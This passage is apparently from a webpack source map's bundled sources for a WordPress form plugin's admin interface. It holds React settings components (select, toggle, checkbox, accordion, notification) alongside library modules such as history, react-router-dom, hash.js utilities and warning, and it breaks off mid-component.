printWarning = function printWarning(format, args) {\n    var len = arguments.length;\n    args = new Array(len > 2 ? len - 2 : 0);\n    for (var key = 2; key < len; key++) {\n      args[key - 2] = arguments[key];\n    }\n    var argIndex = 0;\n    var message = 'Warning: ' +\n      format.replace(/%s/g, function() {\n        return args[argIndex++];\n      });\n    if (typeof console !== 'undefined') {\n      console.error(message);\n    }\n    try {\n      // --- Welcome to debugging React ---\n      // This error was thrown as a convenience so that you can use this stack\n      // to find the callsite that caused this warning to fire.\n      throw new Error(message);\n    } catch (x) {}\n  }\n\n  warning = function(condition, format, args) {\n    var len = arguments.length;\n    args = new Array(len > 2 ? len - 2 : 0);\n    for (var key = 2; key < len; key++) {\n      args[key - 2] = arguments[key];\n    }\n    if (format === undefined) {\n      throw new Error(\n          '`warning(condition, format, ...args)` requires a warning ' +\n          'message argument'\n      );\n    }\n    if (!condition) {\n      printWarning.apply(null, [format].concat(args));\n    }\n  };\n}\n\nmodule.exports = warning;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/warning/warning.js\n// module id = 19\n// module chunks = 0 1 2 3 4","import React, { Component } from 'react';\n\nexport default class SuiSelect extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.updateValue = this.updateValue.bind( this );\n\t}\n\n\tcomponentDidMount() {\n\t\tthis.$el = jQuery( this.el );\n\t\t// SUI.select.init( this.$el );\n\n\t\tthis.updateValue = this.updateValue.bind( this );\n\t\tthis.$el.on( 'change', this.updateValue );\n\t}\n\n\tupdateValue( e ) {\n\t\tconst value = e.target.value;\n\n\t\t// Check if we're on field settings\n\t\tif ( typeof this.props.updateProperty === 'function' ) {\n\t\t\t// Update field state\n\t\t\tthis.props.updateProperty( this.props.property, value );\n\t\t} else {\n\t\t\t// Update store\n\t\t\tthis.props.actions.settingsActions.updateSetting( this.props.property, value );\n\t\t}\n\t}\n\n\tcomponentWillUnmount() {\n\t\tthis.$el.off( 'change', this.updateValue );\n\t\tthis.$el.unbind().removeData();\n\t}\n\n\trender() {\n\t\tlet value = _.isUndefined( this.props.settings[ this.props.property ] )\n\t\t\t? this.props.defaultValue\n\t\t\t: this.props.settings[ this.props.property ];\n\n\t\tconst fieldClass = ! _.isUndefined( this.props.fieldClass )\n\t\t\t? 'sui-form-field ' + this.props.fieldClass\n\t\t\t: 'sui-form-field';\n\n\t\tconst selectClass = ! _.isUndefined( this.props.elementClass )\n\t\t\t? this.props.elementClass\n\t\t\t: '';\n\n\t\tconst selectId = ! _.isUndefined( this.props.elementId )\n\t\t\t? this.props.elementId\n\t\t\t: this.props.property;\n\n\t\tlet selectLabel = '';\n\n\t\tif ( this.props.label ) {\n\t\t\tselectLabel = (\n\t\t\t\t<label\n\t\t\t\t\thtmlFor={ `forminator-field-${ this.props.property }` }\n\t\t\t\t\tid={ `forminator-field-${ this.props.property }-label` }\n\t\t\t\t\tclassName=\"sui-label\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.label }&nbsp;{ this.props.required &&\n\t\t\t\t\t\t<span className=\"sui-error\"> *</span>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.note &&\n\t\t\t\t\t\t<span className=\"sui-label-note\">{this.props.note}</span>\n\t\t\t\t\t}\n\t\t\t\t</label>\n\t\t\t);\n\t\t}\n\n\t\t// For backwards compatibility.\n\t\tif (\n\t\t\t! _.isUndefined( value ) &&\n\t\t\t( 'phone_national_country' === this.props.property || 'phone_international_country' === this.props.property )\n\t\t) {\n\t\t\tvalue = value.toLowerCase();\n\t\t}\n\n\t\tconst selectField = (\n\t\t\t<select\n\t\t\t\tdefaultValue={ value }\n\t\t\t\tid={ `forminator-field-${ selectId }` }\n\t\t\t\tclassName={ selectClass }\n\t\t\t\taria-labelledby={ `forminator-field-${ selectId }-label` }\n\t\t\t\tref={ el => ( this.el = el ) }\n\t\t\t\tstyle={ { maxWidth: 'none' } }\n\t\t\t>\n\t\t\t\t{ this.props.children }\n\t\t\t</select>\n\t\t);\n\n\t\tlet getElement = selectField;\n\n\t\tif ( 'md' === this.props.fieldsize || 'medium' === this.props.fieldsize ) {\n\t\t\tgetElement = (\n\t\t\t\t<div className=\"sui-form-field sui-input-md\">\n\t\t\t\t\t{ selectField }\n\t\t\t\t</div>\n\t\t\t);\n\t\t} else if ( 'sm' === this.props.fieldsize || 'small' === this.props.fieldsize ) {\n\t\t\tgetElement = (\n\t\t\t\t<div className=\"sui-form-field sui-input-sm\">\n\t\t\t\t\t{ selectField }\n\t\t\t\t</div>\n\t\t\t);\n\t\t} else if ( '' !== this.props.fieldsize ) {\n\t\t\tgetElement = (\n\t\t\t\t<div style={ { width: '100%', maxWidth: this.props.fieldsize + 'px' } }>\n\t\t\t\t\t{ selectField }\n\t\t\t\t</div>\n\t\t\t);\n\t\t}\n\n\t\tlet getField = getElement;\n\n\t\tif ( ! this.props.simple ) {\n\t\t\tgetField = (\n\t\t\t\t<div className={ fieldClass }>\n\n\t\t\t\t\t{ selectLabel }\n\n\t\t\t\t\t{ getElement }\n\n\t\t\t\t\t{ this.props.description && (\n\t\t\t\t\t\t<span\n\t\t\t\t\t\t\tclassName=\"sui-description\"\n\t\t\t\t\t\t\tstyle={ { marginTop: '10px' } }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t{ this.props.description }\n\t\t\t\t\t\t</span>\n\t\t\t\t\t) }\n\n\t\t\t\t</div>\n\t\t\t);\n\t\t}\n\n\t\treturn getField;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/inputs/sui-select.js","module.exports = ReactDOM;\n\n\n//////////////////\n// WEBPACK FOOTER\n// external \"ReactDOM\"\n// module id = 23\n// module chunks = 0 1 2 3 4 5","import _createBrowserHistory from './createBrowserHistory';\nexport { _createBrowserHistory as createBrowserHistory };\nimport _createHashHistory from './createHashHistory';\nexport { _createHashHistory as createHashHistory };\nimport _createMemoryHistory from './createMemoryHistory';\nexport { _createMemoryHistory as createMemoryHistory };\n\nexport { createLocation, locationsAreEqual } from './LocationUtils';\nexport { parsePath, createPath } from './PathUtils';\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/history/es/index.js\n// module id = 24\n// module chunks = 0 1 2 3 4","import React, { Component } from 'react';\nimport { translate } from '../../utils';\n\nexport default class Toggle extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.updateValue = this.updateValue.bind( this );\n\t}\n\n\tupdateValue( value ) {\n\t\t// Check if we're on field settings\n\t\tif ( typeof this.props.updateProperty === 'function' ) {\n\t\t\t// Update field state\n\t\t\tthis.props.updateProperty( this.props.property, value );\n\t\t} else {\n\t\t\t// Update store\n\t\t\tthis.props.actions.settingsActions.updateSetting( this.props.property, value );\n\t\t}\n\t}\n\n\trender() {\n\t\tconst value = _.isUndefined( this.props.settings[ this.props.property ] )\n\t\t\t? ''\n\t\t\t: this.props.settings[ this.props.property ]\n\t\t\t;\n\n\t\tconst customClass = ! _.isUndefined( this.props.customClass )\n\t\t\t? this.props.customClass\n\t\t\t: 'sui-form-control'\n\t\t\t;\n\n\t\tconst disabled = ! _.isUndefined( this.props.disabled ) && this.props.disabled;\n\t\tconst checked = value && ! disabled;\n\n\t\tconst toggleContent = (\n\t\t\t<label htmlFor={ `forminator-field-${ this.props.property }` }\n\t\t\t\tclassName=\"sui-toggle\"\n\t\t\t>\n\t\t\t\t<input type=\"checkbox\"\n\t\t\t\t\tvalue=\"true\"\n\t\t\t\t\tid={ `forminator-field-${ this.props.property }` }\n\t\t\t\t\tclassName={ customClass }\n\t\t\t\t\tdisabled={ disabled ? 'disabled' : '' }\n\t\t\t\t\tchecked={ checked ? 'checked' : '' }\n\t\t\t\t\tonChange={ e => {\n\t\t\t\t\t\tthis.updateValue( e.target.checked );\n\t\t\t\t\t} }\n\t\t\t\t/>\n\t\t\t\t<span className=\"sui-toggle-slider\" />\n\t\t\t\t{ this.props.label && (\n\t\t\t\t\t<React.Fragment>\n\t\t\t\t\t\t<span className=\"sui-screen-reader-text\">\n\t\t\t\t\t\t\t{ translate( 'Enable' ) } { this.props.label }\n\t\t\t\t\t\t</span>\n\t\t\t\t\t\t<span className=\"sui-toggle-label\">\n\t\t\t\t\t\t\t{ this.props.label }\n\t\t\t\t\t\t</span>\n\t\t\t\t\t</React.Fragment>\n\t\t\t\t) }\n\t\t\t\t{ this.props.description && (\n\t\t\t\t\t<span className=\"sui-description sui-toggle-description\">\n\t\t\t\t\t\t{ this.props.description }\n\t\t\t\t\t</span>\n\t\t\t\t) }\n\t\t\t</label>\n\t\t);\n\n\t\tlet subToggle = '';\n\n\t\tif ( this.props.children && this.props.settings[ this.props.property ] ) {\n\t\t\tsubToggle = (\n\t\t\t\t<React.Fragment>\n\t\t\t\t\t<div\n\t\t\t\t\t\ttabIndex=\"0\"\n\t\t\t\t\t\tclassName=\"sui-toggle-content sui-border-frame\"\n\t\t\t\t\t\taria-label={ this.props.label }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ this.props.children }\n\t\t\t\t\t</div>\n\t\t\t\t</React.Fragment>\n\t\t\t);\n\t\t}\n\n\t\tif ( this.props.unWrap ) {\n\t\t\treturn (\n\t\t\t\t<React.Fragment>\n\t\t\t\t\t{ toggleContent }\n\t\t\t\t\t{ subToggle }\n\t\t\t\t</React.Fragment>\n\t\t\t);\n\t\t}\n\n\t\tif ( ! this.props.unWrap ) {\n\t\t\treturn (\n\t\t\t\t<div className=\"sui-form-field\">\n\t\t\t\t\t{ toggleContent }\n\t\t\t\t\t{ subToggle }\n\t\t\t\t</div>\n\t\t\t);\n\t\t}\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/inputs/toggle.js","import _BrowserRouter from \"./BrowserRouter\";\nexport { _BrowserRouter as BrowserRouter };\nimport _HashRouter from \"./HashRouter\";\nexport { _HashRouter as HashRouter };\nimport _Link from \"./Link\";\nexport { _Link as Link };\nimport _MemoryRouter from \"./MemoryRouter\";\nexport { _MemoryRouter as MemoryRouter };\nimport _NavLink from \"./NavLink\";\nexport { _NavLink as NavLink };\nimport _Prompt from \"./Prompt\";\nexport { _Prompt as Prompt };\nimport _Redirect from \"./Redirect\";\nexport { _Redirect as Redirect };\nimport _Route from \"./Route\";\nexport { _Route as Route };\nimport _Router from \"./Router\";\nexport { _Router as Router };\nimport _StaticRouter from \"./StaticRouter\";\nexport { _StaticRouter as StaticRouter };\nimport _Switch from \"./Switch\";\nexport { _Switch as Switch };\nimport _generatePath from \"./generatePath\";\nexport { _generatePath as generatePath };\nimport _matchPath from \"./matchPath\";\nexport { _matchPath as matchPath };\nimport _withRouter from \"./withRouter\";\nexport { _withRouter as withRouter };\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/index.js\n// module id = 27\n// module chunks = 0 1 2 3 4","export var addLeadingSlash = function addLeadingSlash(path) {\n  return path.charAt(0) === '/' ? path : '/' + path;\n};\n\nexport var stripLeadingSlash = function stripLeadingSlash(path) {\n  return path.charAt(0) === '/' ? path.substr(1) : path;\n};\n\nexport var hasBasename = function hasBasename(path, prefix) {\n  return new RegExp('^' + prefix + '(\\\\/|\\\\?|#|$)', 'i').test(path);\n};\n\nexport var stripBasename = function stripBasename(path, prefix) {\n  return hasBasename(path, prefix) ? path.substr(prefix.length) : path;\n};\n\nexport var stripTrailingSlash = function stripTrailingSlash(path) {\n  return path.charAt(path.length - 1) === '/' ? path.slice(0, -1) : path;\n};\n\nexport var parsePath = function parsePath(path) {\n  var pathname = path || '/';\n  var search = '';\n  var hash = '';\n\n  var hashIndex = pathname.indexOf('#');\n  if (hashIndex !== -1) {\n    hash = pathname.substr(hashIndex);\n    pathname = pathname.substr(0, hashIndex);\n  }\n\n  var searchIndex = pathname.indexOf('?');\n  if (searchIndex !== -1) {\n    search = pathname.substr(searchIndex);\n    pathname = pathname.substr(0, searchIndex);\n  }\n\n  return {\n    pathname: pathname,\n    search: search === '?' ? '' : search,\n    hash: hash === '#' ? '' : hash\n  };\n};\n\nexport var createPath = function createPath(location) {\n  var pathname = location.pathname,\n      search = location.search,\n      hash = location.hash;\n\n\n  var path = pathname || '/';\n\n  if (search && search !== '?') path += search.charAt(0) === '?' ? search : '?' + search;\n\n  if (hash && hash !== '#') path += hash.charAt(0) === '#' ? hash : '#' + hash;\n\n  return path;\n};\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/history/es/PathUtils.js\n// module id = 28\n// module chunks = 0 1 2 3 4","import React, { Component } from 'react';\n\nexport default class Notification extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\tinitialize() {\n\t\tif ( ! jQuery( '.sui-floating-notices' ).length ) {\n\t\t\tjQuery( 'main.sui-wrap' ).prepend( '<div class=\"sui-floating-notices\"></div>' );\n\t\t}\n\n\t\tif ( ! jQuery( '#forminator-notification' ).length ) {\n\t\t\tjQuery( '.sui-floating-notices' ).append(\n\t\t\t\t'<div role=\"alert\" id=\"forminator-notification\" class=\"sui-notice\" aria-live=\"assertive\"></div>'\n\t\t\t);\n\t\t} else {\n\t\t\tjQuery( '#forminator-notification' ).remove();\n\t\t\tthis.initialize();\n\t\t}\n\n\t\tthis.$notification = jQuery( '#forminator-notification' );\n\t}\n\n\topen() {\n\t\tthis.initialize();\n\n\t\tconst noticeId = 'forminator-notification';\n\t\tconst noticeMessage = '<p>' + this.props.text + '</p>';\n\t\tconst noticeOptions = {\n\t\t\ttype: this.props.type || 'default',\n\t\t\tautoclose: {\n\t\t\t\ttimeout: this.props.time || 5000,\n\t\t\t},\n\t\t\tdismiss: {\n\t\t\t\tshow: this.props.dismiss || false\n\t\t\t},\n\t\t};\n\n\t\tSUI.openNotice( noticeId, noticeMessage, noticeOptions );\n\t}\n\n\tclose() {\n\t\tconst noticeId = 'forminator-notification';\n\t\tSUI.closeNotice( noticeId );\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/notifications.js","/**\n * Copyright 2014-2015, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n */\n\n'use strict';\n\n/**\n * Similar to invariant but only logs a warning if the condition is not met.\n * This can be used to log issues in development environments in critical\n * paths. Removing the logging code for production environments will keep the\n * same logic and follow the same code paths.\n */\n\nvar warning = function() {};\n\nif (process.env.NODE_ENV !== 'production') {\n  warning = function(condition, format, args) {\n    var len = arguments.length;\n    args = new Array(len > 2 ? len - 2 : 0);\n    for (var key = 2; key < len; key++) {\n      args[key - 2] = arguments[key];\n    }\n    if (format === undefined) {\n      throw new Error(\n        '`warning(condition, format, ...args)` requires a warning ' +\n        'message argument'\n      );\n    }\n\n    if (format.length < 10 || (/^[s\\W]*$/).test(format)) {\n      throw new Error(\n        'The warning format should be able to uniquely identify this ' +\n        'warning. Please, use a more descriptive format than: ' + format\n      );\n    }\n\n    if (!condition) {\n      var argIndex = 0;\n      var message = 'Warning: ' +\n        format.replace(/%s/g, function() {\n          return args[argIndex++];\n        });\n      if (typeof console !== 'undefined') {\n        console.error(message);\n      }\n      try {\n        // This error was thrown as a convenience so that you can use this stack\n        // to find the callsite that caused this warning to fire.\n        throw new Error(message);\n      } catch(x) {}\n    }\n  };\n}\n\nmodule.exports = warning;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/history/node_modules/warning/browser.js\n// module id = 33\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nimport resolvePathname from 'resolve-pathname';\nimport valueEqual from 'value-equal';\nimport { parsePath } from './PathUtils';\n\nexport var createLocation = function createLocation(path, state, key, currentLocation) {\n  var location = void 0;\n  if (typeof path === 'string') {\n    // Two-arg form: push(path, state)\n    location = parsePath(path);\n    location.state = state;\n  } else {\n    // One-arg form: push(location)\n    location = _extends({}, path);\n\n    if (location.pathname === undefined) location.pathname = '';\n\n    if (location.search) {\n      if (location.search.charAt(0) !== '?') location.search = '?' + location.search;\n    } else {\n      location.search = '';\n    }\n\n    if (location.hash) {\n      if (location.hash.charAt(0) !== '#') location.hash = '#' + location.hash;\n    } else {\n      location.hash = '';\n    }\n\n    if (state !== undefined && location.state === undefined) location.state = state;\n  }\n\n  try {\n    location.pathname = decodeURI(location.pathname);\n  } catch (e) {\n    if (e instanceof URIError) {\n      throw new URIError('Pathname \"' + location.pathname + '\" could not be decoded. ' + 'This is likely caused by an invalid percent-encoding.');\n    } else {\n      throw e;\n    }\n  }\n\n  if (key) location.key = key;\n\n  if (currentLocation) {\n    // Resolve incomplete/relative pathname relative to current location.\n    if (!location.pathname) {\n      location.pathname = currentLocation.pathname;\n    } else if (location.pathname.charAt(0) !== '/') {\n      location.pathname = resolvePathname(location.pathname, currentLocation.pathname);\n    }\n  } else {\n    // When there is no prior location and pathname is empty, set it to /\n    if (!location.pathname) {\n      location.pathname = '/';\n    }\n  }\n\n  return location;\n};\n\nexport var locationsAreEqual = function locationsAreEqual(a, b) {\n  return a.pathname === b.pathname && a.search === b.search && a.hash === b.hash && a.key === b.key && valueEqual(a.state, b.state);\n};\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/history/es/LocationUtils.js\n// module id = 34\n// module chunks = 0 1 2 3 4","import React, { Component } from 'react';\nimport { translate } from '../../utils';\n\nexport default class Accordion extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.state = {\n\t\t\topen: props.expanded || false,\n\t\t};\n\n\t\tthis.toggleState = this.toggleState.bind( this );\n\t}\n\n\ttoggleState() {\n\t\tthis.setState( {\n\t\t\topen: ! this.state.open,\n\t\t} );\n\t}\n\n\trender() {\n\t\tconst { label } = this.props;\n\t\tconst { open } = this.state;\n\t\tlet divClass = '';\n\n\t\tif ( open ) {\n\t\t\tdivClass = 'sui-accordion-item--open';\n\t\t}\n\n\t\t// eslint-disable-next-line max-len\n\t\tconst boxedContent = ( ! _.isUndefined( this.props.boxedContent ) && '' !== this.props.boxedContent )\n\t\t\t? this.props.boxedContent\n\t\t\t: true;\n\n\t\tconst defaultContentRender = ( ! _.isUndefined( this.props.defaultContentRender ) )\n\t\t\t? this.props.defaultContentRender\n\t\t\t: false;\n\n\t\tconst accordionContents = React.Children.map( this.props.children, tab => {\n\t\t\treturn tab;\n\t\t} );\n\n\t\t// It's intentionally we use span here to avoid unwanted handlers from SUI on div.sui-accordion-item-header.\n\t\treturn (\n\t\t\t<div className={ 'sui-accordion-item ' + divClass }>\n\t\t\t\t<span className=\"sui-accordion-item-header\" onClick={ () => this.toggleState() }>\n\t\t\t\t\t<div className=\"sui-accordion-item-title\">\n\t\t\t\t\t\t<span>{ label }</span>\n\t\t\t\t\t\t<button\n\t\t\t\t\t\t\tclassName=\"sui-button-icon sui-accordion-open-indicator\"\n\t\t\t\t\t\t\tonClick={ () => this.toggleState() }\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<i className=\"sui-icon-chevron-down\" aria-hidden=\"true\"></i>\n\t\t\t\t\t\t\t<span className=\"sui-screen-reader-text\">\n\t\t\t\t\t\t\t\t{ false === this.state.open ? 'Open' : 'Close' }\n\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t</button>\n\t\t\t\t\t</div>\n\t\t\t\t</span>\n\t\t\t\t<div className=\"sui-accordion-item-body\">\n\t\t\t\t\t{ false === boxedContent\n\t\t\t\t\t\t? ( defaultContentRender || open ) && accordionContents\n\t\t\t\t\t\t: (\n\t\t\t\t\t\t\t<div className=\"sui-box\">\n\t\t\t\t\t\t\t\t<div className=\"sui-box-body\">\n\t\t\t\t\t\t\t\t\t{ ( defaultContentRender || open ) && accordionContents }\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t{ boxedContent }\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t)\n\t\t\t\t\t}\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/containers/accordion.js","'use strict';\n\nvar assert = require('minimalistic-assert');\nvar inherits = require('inherits');\n\nexports.inherits = inherits;\n\nfunction toArray(msg, enc) {\n  if (Array.isArray(msg))\n    return msg.slice();\n  if (!msg)\n    return [];\n  var res = [];\n  if (typeof msg === 'string') {\n    if (!enc) {\n      for (var i = 0; i < msg.length; i++) {\n        var c = msg.charCodeAt(i);\n        var hi = c >> 8;\n        var lo = c & 0xff;\n        if (hi)\n          res.push(hi, lo);\n        else\n          res.push(lo);\n      }\n    } else if (enc === 'hex') {\n      msg = msg.replace(/[^a-z0-9]+/ig, '');\n      if (msg.length % 2 !== 0)\n        msg = '0' + msg;\n      for (i = 0; i < msg.length; i += 2)\n        res.push(parseInt(msg[i] + msg[i + 1], 16));\n    }\n  } else {\n    for (i = 0; i < msg.length; i++)\n      res[i] = msg[i] | 0;\n  }\n  return res;\n}\nexports.toArray = toArray;\n\nfunction toHex(msg) {\n  var res = '';\n  for (var i = 0; i < msg.length; i++)\n    res += zero2(msg[i].toString(16));\n  return res;\n}\nexports.toHex = toHex;\n\nfunction htonl(w) {\n  var res = (w >>> 24) |\n            ((w >>> 8) & 0xff00) |\n            ((w << 8) & 0xff0000) |\n            ((w & 0xff) << 24);\n  return res >>> 0;\n}\nexports.htonl = htonl;\n\nfunction toHex32(msg, endian) {\n  var res = '';\n  for (var i = 0; i < msg.length; i++) {\n    var w = msg[i];\n    if (endian === 'little')\n      w = htonl(w);\n    res += zero8(w.toString(16));\n  }\n  return res;\n}\nexports.toHex32 = toHex32;\n\nfunction zero2(word) {\n  if (word.length === 1)\n    return '0' + word;\n  else\n    return word;\n}\nexports.zero2 = zero2;\n\nfunction zero8(word) {\n  if (word.length === 7)\n    return '0' + word;\n  else if (word.length === 6)\n    return '00' + word;\n  else if (word.length === 5)\n    return '000' + word;\n  else if (word.length === 4)\n    return '0000' + word;\n  else if (word.length === 3)\n    return '00000' + word;\n  else if (word.length === 2)\n    return '000000' + word;\n  else if (word.length === 1)\n    return '0000000' + word;\n  else\n    return word;\n}\nexports.zero8 = zero8;\n\nfunction join32(msg, start, end, endian) {\n  var len = end - start;\n  assert(len % 4 === 0);\n  var res = new Array(len / 4);\n  for (var i = 0, k = start; i < res.length; i++, k += 4) {\n    var w;\n    if (endian === 'big')\n      w = (msg[k] << 24) | (msg[k + 1] << 16) | (msg[k + 2] << 8) | msg[k + 3];\n    else\n      w = (msg[k + 3] << 24) | (msg[k + 2] << 16) | (msg[k + 1] << 8) | msg[k];\n    res[i] = w >>> 0;\n  }\n  return res;\n}\nexports.join32 = join32;\n\nfunction split32(msg, endian) {\n  var res = new Array(msg.length * 4);\n  for (var i = 0, k = 0; i < msg.length; i++, k += 4) {\n    var m = msg[i];\n    if (endian === 'big') {\n      res[k] = m >>> 24;\n      res[k + 1] = (m >>> 16) & 0xff;\n      res[k + 2] = (m >>> 8) & 0xff;\n      res[k + 3] = m & 0xff;\n    } else {\n      res[k + 3] = m >>> 24;\n      res[k + 2] = (m >>> 16) & 0xff;\n      res[k + 1] = (m >>> 8) & 0xff;\n      res[k] = m & 0xff;\n    }\n  }\n  return res;\n}\nexports.split32 = split32;\n\nfunction rotr32(w, b) {\n  return (w >>> b) | (w << (32 - b));\n}\nexports.rotr32 = rotr32;\n\nfunction rotl32(w, b) {\n  return (w << b) | (w >>> (32 - b));\n}\nexports.rotl32 = rotl32;\n\nfunction sum32(a, b) {\n  return (a + b) >>> 0;\n}\nexports.sum32 = sum32;\n\nfunction sum32_3(a, b, c) {\n  return (a + b + c) >>> 0;\n}\nexports.sum32_3 = sum32_3;\n\nfunction sum32_4(a, b, c, d) {\n  return (a + b + c + d) >>> 0;\n}\nexports.sum32_4 = sum32_4;\n\nfunction sum32_5(a, b, c, d, e) {\n  return (a + b + c + d + e) >>> 0;\n}\nexports.sum32_5 = sum32_5;\n\nfunction sum64(buf, pos, ah, al) {\n  var bh = buf[pos];\n  var bl = buf[pos + 1];\n\n  var lo = (al + bl) >>> 0;\n  var hi = (lo < al ? 1 : 0) + ah + bh;\n  buf[pos] = hi >>> 0;\n  buf[pos + 1] = lo;\n}\nexports.sum64 = sum64;\n\nfunction sum64_hi(ah, al, bh, bl) {\n  var lo = (al + bl) >>> 0;\n  var hi = (lo < al ? 1 : 0) + ah + bh;\n  return hi >>> 0;\n}\nexports.sum64_hi = sum64_hi;\n\nfunction sum64_lo(ah, al, bh, bl) {\n  var lo = al + bl;\n  return lo >>> 0;\n}\nexports.sum64_lo = sum64_lo;\n\nfunction sum64_4_hi(ah, al, bh, bl, ch, cl, dh, dl) {\n  var carry = 0;\n  var lo = al;\n  lo = (lo + bl) >>> 0;\n  carry += lo < al ? 1 : 0;\n  lo = (lo + cl) >>> 0;\n  carry += lo < cl ? 1 : 0;\n  lo = (lo + dl) >>> 0;\n  carry += lo < dl ? 1 : 0;\n\n  var hi = ah + bh + ch + dh + carry;\n  return hi >>> 0;\n}\nexports.sum64_4_hi = sum64_4_hi;\n\nfunction sum64_4_lo(ah, al, bh, bl, ch, cl, dh, dl) {\n  var lo = al + bl + cl + dl;\n  return lo >>> 0;\n}\nexports.sum64_4_lo = sum64_4_lo;\n\nfunction sum64_5_hi(ah, al, bh, bl, ch, cl, dh, dl, eh, el) {\n  var carry = 0;\n  var lo = al;\n  lo = (lo + bl) >>> 0;\n  carry += lo < al ? 1 : 0;\n  lo = (lo + cl) >>> 0;\n  carry += lo < cl ? 1 : 0;\n  lo = (lo + dl) >>> 0;\n  carry += lo < dl ? 1 : 0;\n  lo = (lo + el) >>> 0;\n  carry += lo < el ? 1 : 0;\n\n  var hi = ah + bh + ch + dh + eh + carry;\n  return hi >>> 0;\n}\nexports.sum64_5_hi = sum64_5_hi;\n\nfunction sum64_5_lo(ah, al, bh, bl, ch, cl, dh, dl, eh, el) {\n  var lo = al + bl + cl + dl + el;\n\n  return lo >>> 0;\n}\nexports.sum64_5_lo = sum64_5_lo;\n\nfunction rotr64_hi(ah, al, num) {\n  var r = (al << (32 - num)) | (ah >>> num);\n  return r >>> 0;\n}\nexports.rotr64_hi = rotr64_hi;\n\nfunction rotr64_lo(ah, al, num) {\n  var r = (ah << (32 - num)) | (al >>> num);\n  return r >>> 0;\n}\nexports.rotr64_lo = rotr64_lo;\n\nfunction shr64_hi(ah, al, num) {\n  return ah >>> num;\n}\nexports.shr64_hi = shr64_hi;\n\nfunction shr64_lo(ah, al, num) {\n  var r = (ah << (32 - num)) | (al >>> num);\n  return r >>> 0;\n}\nexports.shr64_lo = shr64_lo;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/hash.js/lib/hash/utils.js\n// module id = 37\n// module chunks = 0 1 2 3 4 5","module.exports = require('./lib/axios');\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/index.js\n// module id = 39\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar stringify = require('./stringify');\nvar parse = require('./parse');\nvar formats = require('./formats');\n\nmodule.exports = {\n    formats: formats,\n    parse: parse,\n    stringify: stringify\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/qs/lib/index.js\n// module id = 40\n// module chunks = 0 1 2 3 4","import React, { Component } from 'react';\n\nexport default class Checkbox extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.updateValue = this.updateValue.bind( this );\n\t}\n\n\tupdateValue( value ) {\n\t\t// Check if we're on field settings\n\t\tif ( typeof this.props.updateProperty === 'function' ) {\n\t\t\t// Update field state\n\t\t\tthis.props.updateProperty( this.props.property, value );\n\t\t} else {\n\t\t\t// Update store\n\t\t\tthis.props.actions.settingsActions.updateSetting( this.props.property, value );\n\t\t}\n\t}\n\n\trender() {\n\t\tconst value = _.isUndefined( this.props.settings[ this.props.property ] )\n\t\t\t? this.props.defaultValue\n\t\t\t: this.props.settings[ this.props.property ];\n\n\t\tconst fieldId = _.isUndefined( this.props.fieldId )\n\t\t\t? this.props.property\n\t\t\t: this.props.fieldId;\n\n\t\tconst disabled = ! _.isUndefined( this.props.disabled ) &&\n\t\t\tthis.props.disabled ? true : false;\n\n\t\tlet extraClass = '';\n\n\t\tif ( this.props.itemClass && '' !== this.props.itemClass ) {\n\t\t\textraClass = ' ' + this.props.itemClass;\n\t\t}\n\n\t\treturn (\n\t\t\t<label\n\t\t\t\thtmlFor={ `forminator-field-${ fieldId }` }\n\t\t\t\tclassName={ `sui-checkbox${ extraClass }` }\n\t\t\t>\n\t\t\t\t<input\n\t\t\t\t\ttype=\"checkbox\"\n\t\t\t\t\tid={ `forminator-field-${ fieldId }` }\n\t\t\t\t\tvalue=\"true\"\n\t\t\t\t\tchecked={ value ? 'checked' : '' }\n\t\t\t\t\tdisabled={ disabled }\n\t\t\t\t\tonChange={ e => {\n\t\t\t\t\t\tthis.updateValue( e.target.checked );\n\t\t\t\t\t} }\n\t\t\t\t/>\n\t\t\t\t<span aria-hidden=\"true\"></span>\n\t\t\t\t{ this.props.label &&\n\t\t\t\t\t<span>\n\t\t\t\t\t\t{ this.props.label }\n\t\t\t\t\t\t{ ! _.isUndefined( this.props.tooltip ) && '' !== this.props.tooltip && (\n\t\t\t\t\t\t\t<span\n\t\t\t\t\t\t\t\tclassName=\"sui-tooltip sui-tooltip-constrained\"\n\t\t\t\t\t\t\t\tstyle={ {\n\t\t\t\t\t\t\t\t\tmarginLeft: 10,\n\t\t\t\t\t\t\t\t\tverticalAlign: 'middle',\n\t\t\t\t\t\t\t\t\t'--tooltip-width': '165px'\n\t\t\t\t\t\t\t\t} 